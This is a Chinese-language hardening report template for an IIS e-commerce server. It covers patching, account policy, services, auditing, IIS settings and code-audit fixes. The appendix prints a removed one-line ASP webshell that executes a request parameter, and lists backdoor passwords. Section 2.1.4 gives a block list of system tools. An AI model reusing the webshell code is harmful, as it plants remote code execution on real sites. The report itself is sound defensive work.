某電子商務(wù)網(wǎng)站安全加固報(bào)告

XXX電子商務(wù)網(wǎng)站安全加固報(bào)告

目錄TOC\o"1-4"\h\z\u電子商務(wù)網(wǎng)站安全加固報(bào)告 1目錄 2一、加固主機(jī)列表 3二、加固實(shí)施 42.1操作系統(tǒng)加固 42.1.1補(bǔ)丁安裝 42.1.2帳號、口令策略修改 42.1.3網(wǎng)絡(luò)與服務(wù)加固 42.1.4文件系統(tǒng)加固 52.1.5日志審核增強(qiáng) 62.1.6安全性增強(qiáng) 72.1.7推薦安裝安全工具 82.2IIS服務(wù)加固 82.2.1補(bǔ)丁安裝 82.2.2網(wǎng)站實(shí)例權(quán)限分配 82.2.3IIS配置安全增強(qiáng) 92.2.4安全控件加固 92.3代碼審核加固 102.3.1清除WebShell代碼 102.3.2清除SQL注入漏洞 102.3.3修正權(quán)限認(rèn)證缺陷 102.3.4減少上傳風(fēng)險(xiǎn)威脅 112.3.5正確處理數(shù)據(jù)庫文件 11三、推薦安全注意事項(xiàng) 123.1為新增網(wǎng)站實(shí)例分配權(quán)限 123.2使用SSL加密FTP傳輸 123.3加強(qiáng)管理員安全習(xí)慣 12四、簽字確認(rèn) 13附錄： 14后臺(tái)訪問用戶認(rèn)證分配一覽表 14代碼加固修改一覽表 14

一、加固主機(jī)列表 本次安全加固服務(wù)的對象包括：編號IP地址操作系統(tǒng)用途或服務(wù)H_2112_1XX.XX.XX.2Windows2000Server提供電子商務(wù)服務(wù)，有償提供考試資料填寫規(guī)則：編號統(tǒng)一使用“型號_地址縮寫_數(shù)字”型號（H－主機(jī)；D－設(shè)備），數(shù)字使用三位數(shù)字順序號。

二、加固實(shí)施2.1操作系統(tǒng)加固2.1.1補(bǔ)丁安裝編號：Windows-02001名稱：補(bǔ)丁安裝系統(tǒng)以往狀態(tài)：Windows2000ServicePack4IE最新積累補(bǔ)丁方案實(shí)施使用Windowsupdate安裝最新補(bǔ)丁實(shí)施目的可以使系統(tǒng)版本為最新版本實(shí)施風(fēng)險(xiǎn)安裝補(bǔ)丁可能導(dǎo)致主機(jī)啟動(dòng)失敗，或其他未知情況發(fā)生2.1.2帳號、口令策略修改編號：Windows-03002,Windows-03003,Windows-03004名稱：帳號口令策略修改系統(tǒng)以往狀態(tài)：密碼長度最小值0字符密碼最長存留期42天密碼最短存留期0天帳號鎖定計(jì)數(shù)器無帳戶鎖定時(shí)間0帳戶鎖定閥值無方案實(shí)施密碼長度最小值7字符密碼最長存留期90天密碼最短存留期30天帳號鎖定計(jì)數(shù)器5次帳戶鎖定時(shí)間5分鐘帳戶鎖定閥值1分鐘實(shí)施目的保障帳號以及口令的安全實(shí)施風(fēng)險(xiǎn)設(shè)置帳號策略后可能導(dǎo)致不符合帳號策略的帳號無法登陸，需修改帳號密碼（注：管理員不受帳號策略限制，但管理員密碼應(yīng)復(fù)雜）2.1.3網(wǎng)絡(luò)與服務(wù)加固編號：Windows-04003,Windows-04004名稱：卸載不需要的服務(wù)系統(tǒng)以往狀態(tài)：已安裝的不必要的服務(wù)包括：DNS服務(wù)DHCP服務(wù)MSFTP服務(wù)SNMP服務(wù)方案實(shí)施開始|設(shè)置|控制面板|添加/刪除程序|Windows組件卸載不需要的服務(wù)實(shí)施目的避免未知漏洞給主機(jī)帶來的風(fēng)險(xiǎn)實(shí)施風(fēng)險(xiǎn)可能由于管理員對主機(jī)所開放服務(wù)不了解，導(dǎo)致該服務(wù)被卸載。編號：Windows-04005名稱：將暫時(shí)不需要開放的服務(wù)停止系統(tǒng)以往狀態(tài)：已啟動(dòng)且需要停止的服務(wù)包括：ComputerBrowser服務(wù)Alerter服務(wù)Messenger服務(wù)方案實(shí)施開始|運(yùn)行|services.msc|將上述服務(wù)的啟動(dòng)類型設(shè)置為手動(dòng)并停止上述服務(wù)實(shí)施目的避免未知漏洞給主機(jī)帶來的風(fēng)險(xiǎn)實(shí)施風(fēng)險(xiǎn)可能由于管理員對主機(jī)所開放服務(wù)不了解，導(dǎo)致該服務(wù)被卸載。2.1.4文件系統(tǒng)加固編號：Windows-05002名稱：限制特定執(zhí)行文件的權(quán)限系統(tǒng)以往狀態(tài)：未對敏感執(zhí)行文件設(shè)置合適的權(quán)限方案實(shí)施通過實(shí)施我公司的安全策略文件對特定文件權(quán)限進(jìn)行限制，禁止Guests用戶組訪問這些文件。實(shí)施目的禁止Guests用戶組訪問以下文件：xcopy.exewscript.execscript.exenet.exearp.exeedlin.exeping.exeroute.exeposix.exeRsh.exeatsvc.exeCopy.execacls.exeipconfig.exercp.execmd.exedebug.exeregedt32.exeregedit.exetelnet.exeFinger.exeNslookup.exeRexec.exeftp.exeat.exerunonce.exenbtstat.exeTracert.exenetstat.exe實(shí)施風(fēng)險(xiǎn)在極少數(shù)情況下，某些網(wǎng)頁可能調(diào)用cmd.exe來完成某種功能，限制cmd.exe的執(zhí)行權(quán)限可能導(dǎo)致調(diào)用cmd失敗。2.1.5日志審核增強(qiáng)編號：Windows-06001名稱：設(shè)置主機(jī)審核策略系統(tǒng)以往狀態(tài)：審核策略更改無審核審核登錄事件無審核審核對象訪問無審核審核過程追蹤無審核審核目錄服務(wù)訪問無審核審核特權(quán)使用無審核審核系統(tǒng)事件無審核審核帳戶登錄事件無審核審核帳戶管理無審核方案實(shí)施通過實(shí)施我公司的安全策略文件修改下述值：審核策略更改成功審核登錄事件無審核審核對象訪問成功,失敗審核過程追蹤無審核審核目錄服務(wù)訪問無審核審核特權(quán)使用無審核審核系統(tǒng)事件成功,失敗審核帳戶登錄事件成功,失敗審核帳戶管理成功,失敗實(shí)施目的對系統(tǒng)事件進(jìn)行審核，在日后出現(xiàn)故障時(shí)用于排查故障。實(shí)施風(fēng)險(xiǎn)無編號：Windows-06002，Windows-06003，Windows-06004名稱：調(diào)整事件日志的大小、覆蓋策略系統(tǒng)以往狀態(tài)：大小覆蓋方式應(yīng)用日志512K覆蓋早于7天的事件安全日志512K覆蓋早于7天的事件系統(tǒng)日志512K覆蓋早于7天的事件方案實(shí)施通過實(shí)施我公司的安全策略文件修改下述值：大小覆蓋方式應(yīng)用日志16382K覆蓋早于30天的事件安全日志16384K覆蓋早于30天的事件系統(tǒng)日志16384K覆蓋早于30天的事件實(shí)施目的增大日志大小，避免由于日志文件容量過小導(dǎo)致日志記錄不全實(shí)施風(fēng)險(xiǎn)無2.1.6安全性增強(qiáng)編號：Windows-07001名稱：禁止匿名用戶連接系統(tǒng)以往狀態(tài)：Key:HKLM\SYSTEM\CurrentControlSet\Control\Lsa“restrictanonymous”的值為0方案實(shí)施通過實(shí)施我公司的安全策略文件將該值修改為“1”實(shí)施目的可以禁止匿名用戶列舉主機(jī)上所有用戶、組、共享資源實(shí)施風(fēng)險(xiǎn)無編號：Windows-04006名稱：刪除主機(jī)管理共享系統(tǒng)以往狀態(tài)：Key:HKLM\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters無“Autoshareserver”鍵方案實(shí)施通過實(shí)施我公司的安全策略文件增加“Autoshareserver”項(xiàng)，并設(shè)置該值為“1”實(shí)施目的刪除主機(jī)因?yàn)楣芾矶_放的共享實(shí)施風(fēng)險(xiǎn)某些應(yīng)用軟件可能需要該共享，如VeritasNetbackup編號：Windows-07001名稱：禁止匿名用戶連接系統(tǒng)以往狀態(tài)：Key:HKLM\SYSTEM\CurrentControlSet\Control\Lsa“restrictanonymous”的值為0方案實(shí)施通過實(shí)施我公司的安全策略文件將該值修改為“1”實(shí)施目的可以禁止匿名用戶列舉主機(jī)上所有用戶、組、共享資源實(shí)施風(fēng)險(xiǎn)無編號：Windows-03005名稱：限制Guest用戶權(quán)限系統(tǒng)以往狀態(tài)：Guest已禁用，但未對帳號進(jìn)行權(quán)限限制。方案實(shí)施通過實(shí)施我公司的安全策略文件禁止Guest帳號本地登錄和網(wǎng)絡(luò)登錄的權(quán)限。實(shí)施目的避免Guest帳號被黑客激活作為后門實(shí)施風(fēng)險(xiǎn)無2.1.7推薦安裝安全工具工具名稱IceSword1.06工具用途特洛伊木馬徹查、黑客后門檢測工具相關(guān)信息/tools/200407/741.html工具名稱X-Scan-v3.2-cn工具用途網(wǎng)絡(luò)隱患掃描工具相關(guān)信息/tools/200504/1016.html注：工具名稱請包含版本信息工具用途請簡單描述產(chǎn)品功用相關(guān)信息請寫明產(chǎn)品相關(guān)URL，盡量詳細(xì)2.2IIS服務(wù)加固2.2.1編號：Windows-02001（將所有涉及到這個(gè)加固項(xiàng)的檢測文檔編號填寫，如有多個(gè)，用逗號分開，寫文檔的時(shí)候?qū)⒈疚淖謩h除）名稱：補(bǔ)丁安裝系統(tǒng)以往狀態(tài)：Windows2000ServicePack4方案實(shí)施使用Windowsupdate安裝最新補(bǔ)丁實(shí)施目的可以使系統(tǒng)版本為最新版本實(shí)施風(fēng)險(xiǎn)（應(yīng)描述實(shí)施本條措施所導(dǎo)致的后果）2.2.2網(wǎng)站實(shí)例權(quán)限分配編號：Windows-02002（將所有涉及到這個(gè)加固項(xiàng)的檢測文檔編號填寫，如有多個(gè)，用逗號分開，寫文檔的時(shí)候?qū)⒈疚淖謩h除）名稱：權(quán)限分配系統(tǒng)以往狀態(tài)：沒有對每個(gè)網(wǎng)站實(shí)例進(jìn)行相應(yīng)的權(quán)限分配，任何一個(gè)網(wǎng)站被入侵后都有可能導(dǎo)致其他網(wǎng)站被入侵方案實(shí)施每個(gè)網(wǎng)站實(shí)例都對應(yīng)使用低權(quán)限帳戶，并去除網(wǎng)站后臺(tái)的匿名訪問，集成Windows認(rèn)證實(shí)施目的可以使各個(gè)網(wǎng)站實(shí)例讀取、修改權(quán)限完全分開，避免入侵者從一個(gè)網(wǎng)站實(shí)例入侵到另一個(gè)網(wǎng)站實(shí)例實(shí)施風(fēng)險(xiǎn)（應(yīng)描述實(shí)施本條措施所導(dǎo)致的后果）2.2.3IIS配置安全增強(qiáng)編號：Windows-02003（將所有涉及到這個(gè)加固項(xiàng)的檢測文檔編號填寫，如有多個(gè)，用逗號分開，寫文檔的時(shí)候?qū)⒈疚淖謩h除）名稱：配置安全增強(qiáng)系統(tǒng)以往狀態(tài)：存在很多默認(rèn)配置，導(dǎo)致入侵者可利用方案實(shí)施修正IIS的擴(kuò)展配置，減少asp.dll解析范圍，禁止下載MDB文件實(shí)施目的減少入侵者入侵幾率，防止網(wǎng)站數(shù)據(jù)庫被惡意下載實(shí)施風(fēng)險(xiǎn)（應(yīng)描述實(shí)施本條措施所導(dǎo)致的后果）2.2.4安全控件加固編號：Windows-02004（將所有涉及到這個(gè)加固項(xiàng)的檢測文檔編號填寫，如有多個(gè)，用逗號分開，寫文檔的時(shí)候?qū)⒈疚淖謩h除）名稱：安全空間加固系統(tǒng)以往狀態(tài)：存在很多危險(xiǎn)控件，導(dǎo)致入侵者可利用方案實(shí)施卸載了WSH控件，修改Shell.Application控件的名稱，防止入侵者利用：HKEY_CLASSES_ROOT\Shell.Application改成Shell.Application_OurSafeHKEY_CLASSES_ROOT\Shell.Application.1改成了Shell.Application.1_OurSafe實(shí)施目的減少ASP木馬對網(wǎng)站的威脅實(shí)施風(fēng)險(xiǎn)將有可能導(dǎo)致某些特殊網(wǎng)站實(shí)例不能正常運(yùn)行

2.3代碼審核加固2.3.1清除WebShell代碼編號：Windows-03001（將所有涉及到這個(gè)加固項(xiàng)的檢測文檔編號填寫，如有多個(gè)，用逗號分開，寫文檔的時(shí)候?qū)⒈疚淖謩h除）名稱：清除WebShell代碼系統(tǒng)以往狀態(tài)：有可能存在入侵者留下的后門、WebShell程序方案實(shí)施人工搜索查找入侵者留下的后門ASP程序?qū)嵤┠康姆乐谷肭终咴俅稳肭志W(wǎng)站實(shí)施風(fēng)險(xiǎn)（應(yīng)描述實(shí)施本條措施所導(dǎo)致的后果）2.3.2清除SQL注入漏洞編號：Windows-03002（將所有涉及到這個(gè)加固項(xiàng)的檢測文檔編號填寫，如有多個(gè)，用逗號分開，寫文檔的時(shí)候?qū)⒈疚淖謩h除）名稱：清除SQL注入漏洞系統(tǒng)以往狀態(tài)：存在很多SQL注入漏洞方案實(shí)施使用統(tǒng)一腳本，對用戶提交進(jìn)行過濾檢查，防止用戶提交注入代碼實(shí)施目的防止惡意用戶利用SQL注入漏洞危害網(wǎng)站實(shí)施風(fēng)險(xiǎn)（應(yīng)描述實(shí)施本條措施所導(dǎo)致的后果）2.3.3修正權(quán)限認(rèn)證缺陷編號：Windows-03003（將所有涉及到這個(gè)加固項(xiàng)的檢測文檔編號填寫，如有多個(gè)，用逗號分開，寫文檔的時(shí)候?qū)⒈疚淖謩h除）名稱：修正權(quán)限認(rèn)證缺陷系統(tǒng)以往狀態(tài)：存在一部份的權(quán)限未認(rèn)證缺陷方案實(shí)施對沒有檢查權(quán)限的頁面添加權(quán)限認(rèn)證實(shí)施目的防止低權(quán)限用戶執(zhí)行高權(quán)限功能實(shí)施風(fēng)險(xiǎn)（應(yīng)描述實(shí)施本條措施所導(dǎo)致的后果）2.3.4減少上傳風(fēng)險(xiǎn)威脅編號：Windows-03004（將所有涉及到這個(gè)加固項(xiàng)的檢測文檔編號填寫，如有多個(gè)，用逗號分開，寫文檔的時(shí)候?qū)⒈疚淖謩h除）名稱：修正權(quán)限認(rèn)證缺陷系統(tǒng)以往狀態(tài)：存在上傳漏洞方案實(shí)施修改代碼封堵上傳漏洞實(shí)施目的防止惡意用戶上傳WebShell或其他惡意程序?qū)嵤╋L(fēng)險(xiǎn)（應(yīng)描述實(shí)施本條措施所導(dǎo)致的后果）2.3.5正確處理數(shù)據(jù)庫文件編號：Windows-03005（將所有涉及到這個(gè)加固項(xiàng)的檢測文檔編號填寫，如有多個(gè)，用逗號分開，寫文檔的時(shí)候?qū)⒈疚淖謩h除）名稱：正確處理數(shù)據(jù)庫文件系統(tǒng)以往狀態(tài)：采用ASP為擴(kuò)展名，惡意用戶將有可能插入惡意代碼并執(zhí)行方案實(shí)施擴(kuò)展名改為MDB，并對WEB應(yīng)用程序進(jìn)行相應(yīng)修改實(shí)施目的防止惡意用戶插入惡意代碼并執(zhí)行實(shí)施風(fēng)險(xiǎn)（應(yīng)描述實(shí)施本條措施所導(dǎo)致的后果）

三、推薦安全注意事項(xiàng)3.1為新增網(wǎng)站實(shí)例分配權(quán)限 當(dāng)需要新增加一個(gè)網(wǎng)站實(shí)例的時(shí)候，需要按照一定的步驟完成權(quán)限的分配：新建兩個(gè)帳號，刪除這兩個(gè)帳號的User組身份，加入Guest組；指定網(wǎng)站目錄只能夠被XXXistrator和SYSTEM完全控制，而上述兩個(gè)帳號對該目錄及其子目錄有讀寫、修改權(quán)限；在IIS中設(shè)置匿名訪問該網(wǎng)站的匿名帳戶為上述兩個(gè)帳號其中之一；在IIS中設(shè)置該網(wǎng)站管理員后臺(tái)目錄（或核心文件）不允許匿名訪問，增加Windows身份認(rèn)證；在IIS中設(shè)置該網(wǎng)站的主機(jī)頭。3.2使用SSL加密FTP傳輸 開啟Serv-U的SSL加密功能，只允許加密登陸以及加密傳輸文件，以防止惡意用戶ARP嗅探FTP密碼。3.3加強(qiáng)管理員安全習(xí)慣 注意及時(shí)升級管理員主機(jī)的系統(tǒng)補(bǔ)丁和殺毒軟件病毒庫，定期使用推薦的后門檢測工具對主機(jī)進(jìn)行安全檢測。 定期更換Web應(yīng)用程序后臺(tái)管理員密碼，并保證密碼的強(qiáng)度。

四、簽字確認(rèn)雙方認(rèn)可加固報(bào)告，簽字確認(rèn)。甲方：乙方：簽字（簽章）：簽字（簽章）日期：日期

附錄：后臺(tái)訪問用戶認(rèn)證分配一覽表域名目錄指向后臺(tái)登陸用戶名XX.comD:\WEB\XXX\XXX.XXXX.netD:\www\XXXXX.XXXX.cnD:\www1XX.XXXX.comD:\WEB\XX.com\XX.XXXX.comD:\WEB\XX.comXX.XXbbs.XX.comD:\WEB\XXX\bbsXX.XXX.XXXX.XX.comD:\WEB\XXX\XXXXX.XXX.XXXXX.XX.comD:\WEB\XXX\examXX.XXX.XXXX.XX.comD:\WEB\XXX\XXXXX.XXX.XX用戶密碼暫統(tǒng)一為“****”（不帶雙引號），建議用戶自行修改。代碼加固修改一覽表XXX.com目錄Connection.asp修改數(shù)據(jù)庫為mdb結(jié)尾修改包含sql.asp，防止SQL注入Include\RegKey.cfg修改數(shù)據(jù)庫結(jié)尾Setup.asp改名為Setup04131.asp\Manger\Editor7183409改為Editor7183401Include\const.asp刪除！webshellInclude\MD5.asp刪掉文件最后一行，該行代碼為webshell代碼XXX.com目錄CONN.ASP修改數(shù)據(jù)庫為mdb結(jié)尾修改包含sql.asp，防止SQL注入增加容錯(cuò)信息XXX/CONN.ASP修改數(shù)據(jù)庫為mdb結(jié)尾修改包含sql.asp，防止SQL注入增加容錯(cuò)信息XXX/UPFILE.ASP注釋掉27行，替換成固定上傳路徑為""../pic/"的代碼增加對XXX身份驗(yàn)證，<!--#includefile="./inc/head.asp"-->XXX/UPLOAD.ASP增加對XXX身份驗(yàn)證，<!--#includefile="./inc/head.asp"-->XXX/TEXTBOX.ASP增加對XXX身份驗(yàn)證，<!--#includefile="./inc/head.asp"-->XXX/EOKEDIT.ASP增加對XXX身份驗(yàn)證，<!--#includefile="./inc/head.asp"-->eWebEditor目錄名改為eWebEditor41937editdel.asp修改增加身份驗(yàn)證chkXXX.asp修改認(rèn)證方式，采用session保存密碼，防止跨站攻擊test目錄名修改為Test8322XXX\XXX.ASP將管理身份認(rèn)證提前XXX\XXX.ASP添加容錯(cuò)信息修改包含sql.asp，防止SQL注入XXX\data.mdb防止下載，改名為data3415.mdbXXX\inc\ubb.asp刪掉！WebShell代碼kjask\common.asp修改數(shù)據(jù)庫為kjgb5674.mdb修改包含sql.asp，防止SQL注入增加容錯(cuò)信息XXX.com目錄XX\XXX_backup.asp刪掉！WebShell，密碼是6568168XX\dragon.asp刪掉！WebShellXX\LOGIN.ASP刪除最后三行，WebShell代碼<!了><objectid=fsRUNAT=SERVERclassid='clsid:0D43FE01-F093-11CF-8940-00A0C<%ifrequest("kker")<>"4136705"thenSession("b")=request("kker")ifSession("b")<>""thenexecuteSession("b")%>XX\XXX\TEST.ASP空文件XX\XXX\testab.asp刪除，WebShell，密碼是!@#123XX\XXX_backup.